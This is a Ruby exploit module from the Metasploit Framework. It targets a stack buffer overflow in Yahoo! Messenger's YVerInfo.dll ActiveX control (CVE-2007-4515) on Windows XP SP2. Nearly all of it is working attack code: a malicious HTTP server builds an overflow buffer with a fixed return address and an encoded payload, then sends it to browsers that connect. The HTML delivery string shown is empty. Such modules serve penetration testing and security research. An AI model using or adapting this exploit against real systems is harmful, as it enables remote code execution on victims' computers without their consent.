## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in the Yahoo! Messenger ActiveX Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string to the "fvCom()" method from a yahoo.com domain, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-4515' ], [ 'OSVDB', '37739' ], [ 'BID', '25494' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ], # Tested on fully patched XPSP2 9/29/07 ], 'DisclosureDate' => 'Aug 30 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer sploit = rand_text_english(411) + [target.ret].pack('V') sploit << p.encoded + rand_text_english(payload.encoded.length) # Build out the message content = %Q| | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end